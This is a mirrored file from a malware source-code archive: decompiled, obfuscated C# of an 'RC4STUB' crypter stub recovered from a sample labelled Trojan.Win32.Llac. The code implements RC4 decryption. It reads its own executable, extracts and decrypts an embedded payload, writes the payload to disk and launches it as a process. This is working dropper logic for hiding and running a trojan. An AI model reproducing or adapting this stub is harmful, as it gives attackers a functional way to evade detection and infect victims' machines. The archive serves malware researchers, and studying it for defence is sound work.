mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
211 lines
6.7 KiB
C#
211 lines
6.7 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: .
|
|||
|
// Assembly: RC4STUB, Version=1.0.0.0, Culture=neutral, PublicKeyToken=4bd99f8fe4adcd07
|
|||
|
// MVID: DA5B8577-1DEE-425A-83B8-F58DDD172F9B
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.ajli-ac41d99cde54e36a4e446e9c8d3aecae2cd439033b269019f516b141753fb0e6.exe
|
|||
|
|
|||
|
using \u0001;
|
|||
|
using \u0005;
|
|||
|
using Microsoft.VisualBasic;
|
|||
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
using System;
|
|||
|
using System.ComponentModel;
|
|||
|
using System.Diagnostics;
|
|||
|
using System.Drawing;
|
|||
|
using System.Runtime.InteropServices;
|
|||
|
using System.Text;
|
|||
|
using System.Windows.Forms;
|
|||
|
|
|||
|
namespace \u0005
|
|||
|
{
|
|||
|
internal class \u0002 : Form
|
|||
|
{
|
|||
|
private IContainer \u0001;
|
|||
|
|
|||
|
[DebuggerNonUserCode]
|
|||
|
public \u0002()
|
|||
|
{
|
|||
|
\u0001\u0003 obj1 = \u0001\u0003.\u000E\u0004;
|
|||
|
\u0002 obj2 = this;
|
|||
|
// ISSUE: virtual method pointer
|
|||
|
EventHandler eventHandler = new EventHandler((object) obj2, __vmethodptr(obj2, \u0003));
|
|||
|
obj1((object) this, eventHandler);
|
|||
|
this.\u0003();
|
|||
|
}
|
|||
|
|
|||
|
[DebuggerNonUserCode]
|
|||
|
protected override void Dispose([In] bool obj0)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
if (!obj0 || this.\u0001 == null)
|
|||
|
return;
|
|||
|
\u0008\u0002.\u007E\u0098((object) this.\u0001);
|
|||
|
}
|
|||
|
finally
|
|||
|
{
|
|||
|
\u0095.\u0010\u0004((object) this, obj0);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
private void \u0003()
|
|||
|
{
|
|||
|
\u0008\u0002.\u007E\u0003\u0004((object) this);
|
|||
|
\u0090\u0002.\u007E\u0004\u0004((object) this, new SizeF(6f, 13f));
|
|||
|
\u008F\u0002.\u007E\u0005\u0004((object) this, AutoScaleMode.Font);
|
|||
|
\u0091\u0002.\u007E\u0007\u0004((object) this, new Size(284, 262));
|
|||
|
\u0019\u0002.\u007E\u0001\u0004((object) this, \u0003.\u0003(799));
|
|||
|
\u0019\u0002.\u007E\u0008\u0004((object) this, \u0003.\u0003(799));
|
|||
|
\u0095.\u007E\u0002\u0004((object) this, false);
|
|||
|
}
|
|||
|
|
|||
|
public static string \u0003([In] string obj0, [In] string obj1)
|
|||
|
{
|
|||
|
int index1 = 0;
|
|||
|
int index2 = 0;
|
|||
|
StringBuilder stringBuilder1 = new StringBuilder();
|
|||
|
string empty = string.Empty;
|
|||
|
int[] numArray1 = new int[257];
|
|||
|
int[] numArray2 = new int[257];
|
|||
|
int num1 = \u0093.\u007E\u009C((object) obj1);
|
|||
|
int index3 = 0;
|
|||
|
while (index3 <= (int) byte.MaxValue)
|
|||
|
{
|
|||
|
char ch = \u009F\u0002.\u007E\u009B((object) \u000E\u0003.\u007E\u009F((object) obj1, index3 % num1, 1))[0];
|
|||
|
numArray2[index3] = \u008B\u0002.\u0084(ch);
|
|||
|
numArray1[index3] = index3;
|
|||
|
int num2 = \u0003\u0003.\u0088\u0002(\u009A\u0002.\u0091\u0002(ref index3), checked (index3 - 1));
|
|||
|
}
|
|||
|
int index4 = 0;
|
|||
|
int index5 = 0;
|
|||
|
while (index5 <= (int) byte.MaxValue)
|
|||
|
{
|
|||
|
index4 = checked (index4 + numArray1[index5] + numArray2[index5]) % 256;
|
|||
|
int num3 = numArray1[index5];
|
|||
|
numArray1[index5] = numArray1[index4];
|
|||
|
numArray1[index4] = num3;
|
|||
|
int num4 = \u0003\u0003.\u0088\u0002(\u009A\u0002.\u0091\u0002(ref index5), checked (index5 - 1));
|
|||
|
}
|
|||
|
int num5 = 1;
|
|||
|
while (num5 <= \u0093.\u007E\u009C((object) obj0))
|
|||
|
{
|
|||
|
index1 = checked (index1 + 1) % 256;
|
|||
|
index2 = checked (index2 + numArray1[index1]) % 256;
|
|||
|
int num6 = numArray1[index1];
|
|||
|
numArray1[index1] = numArray1[index2];
|
|||
|
numArray1[index2] = num6;
|
|||
|
int num7 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
|
|||
|
char ch = \u009F\u0002.\u007E\u009B((object) \u000E\u0003.\u007E\u009F((object) obj0, checked (num5 - 1), 1))[0];
|
|||
|
int num8 = \u008B\u0002.\u0084(ch) ^ num7;
|
|||
|
StringBuilder stringBuilder2 = \u0012\u0003.\u007E\u0012\u0002((object) stringBuilder1, \u0081\u0002.\u0086(num8));
|
|||
|
int num9 = \u0003\u0003.\u0088\u0002(\u009A\u0002.\u0091\u0002(ref num5), checked (num5 - 1));
|
|||
|
}
|
|||
|
string str = \u007F\u0002.\u007E\u000F\u0002((object) stringBuilder1);
|
|||
|
\u009E\u0002.\u007E\u0010\u0002((object) stringBuilder1, 0);
|
|||
|
return str;
|
|||
|
}
|
|||
|
|
|||
|
private void \u0003([In] object obj0, [In] EventArgs obj1)
|
|||
|
{
|
|||
|
label_0:
|
|||
|
int num1;
|
|||
|
int num2;
|
|||
|
try
|
|||
|
{
|
|||
|
\u0099\u0002.\u0081();
|
|||
|
num2 = -2;
|
|||
|
label_1:
|
|||
|
int num3 = 2;
|
|||
|
string str1 = \u0016\u0003.\u008A\u0003();
|
|||
|
label_2:
|
|||
|
num3 = 3;
|
|||
|
\u0091.\u001A(1, \u0016\u0003.\u009D\u0003(), OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
|
|||
|
label_3:
|
|||
|
num3 = 4;
|
|||
|
string str2 = \u0080\u0002.\u0087(checked ((int) \u0084\u0002.\u001E(1)));
|
|||
|
label_4:
|
|||
|
num3 = 5;
|
|||
|
\u001E\u0002.\u001C(1, ref str2, -1L, false);
|
|||
|
label_5:
|
|||
|
num3 = 6;
|
|||
|
int[] numArray1 = new int[1]{ 1 };
|
|||
|
\u001D\u0003.\u001B(numArray1);
|
|||
|
label_6:
|
|||
|
num3 = 7;
|
|||
|
string[] strArray = \u0010\u0003.\u0088(str2, \u0003.\u0003(808), -1, CompareMethod.Binary);
|
|||
|
label_7:
|
|||
|
num3 = 8;
|
|||
|
string str3 = \u0002.\u0003(strArray[1], \u0003.\u0003(841));
|
|||
|
label_8:
|
|||
|
num3 = 9;
|
|||
|
\u0091.\u001A(5, \u001A\u0003.\u0006\u0002(str1, \u0003.\u0003(983)), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default, -1);
|
|||
|
label_9:
|
|||
|
num3 = 10;
|
|||
|
\u0096\u0002.\u001D(5, str3, -1L, false);
|
|||
|
label_10:
|
|||
|
num3 = 11;
|
|||
|
int[] numArray2 = new int[1]{ 5 };
|
|||
|
\u001D\u0003.\u001B(numArray2);
|
|||
|
label_11:
|
|||
|
num3 = 12;
|
|||
|
Process process = \u0018\u0002.\u0018\u0004(\u001A\u0003.\u0006\u0002(str1, \u0003.\u0003(983)));
|
|||
|
label_12:
|
|||
|
num3 = 13;
|
|||
|
\u0008\u0002.\u007E\u000F\u0004((object) this);
|
|||
|
\u0099\u0002.\u0082();
|
|||
|
goto label_19;
|
|||
|
label_14:
|
|||
|
num1 = num3;
|
|||
|
switch (num2 > -2 ? num2 : 1)
|
|||
|
{
|
|||
|
case 1:
|
|||
|
int num4 = num1 + 1;
|
|||
|
num1 = 0;
|
|||
|
switch (num4)
|
|||
|
{
|
|||
|
case 1:
|
|||
|
goto label_0;
|
|||
|
case 2:
|
|||
|
goto label_1;
|
|||
|
case 3:
|
|||
|
goto label_2;
|
|||
|
case 4:
|
|||
|
goto label_3;
|
|||
|
case 5:
|
|||
|
goto label_4;
|
|||
|
case 6:
|
|||
|
goto label_5;
|
|||
|
case 7:
|
|||
|
goto label_6;
|
|||
|
case 8:
|
|||
|
goto label_7;
|
|||
|
case 9:
|
|||
|
goto label_8;
|
|||
|
case 10:
|
|||
|
goto label_9;
|
|||
|
case 11:
|
|||
|
goto label_10;
|
|||
|
case 12:
|
|||
|
goto label_11;
|
|||
|
case 13:
|
|||
|
goto label_12;
|
|||
|
case 14:
|
|||
|
goto label_19;
|
|||
|
}
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
catch (Exception ex) when (ex is Exception & num2 != 0 & num1 == 0)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex);
|
|||
|
goto label_14;
|
|||
|
}
|
|||
|
throw \u0004\u0002.\u007F(-2146828237);
|
|||
|
label_19:
|
|||
|
if (num1 == 0)
|
|||
|
return;
|
|||
|
\u0099\u0002.\u0081();
|
|||
|
}
|
|||
|
}
|
|||
|
}
|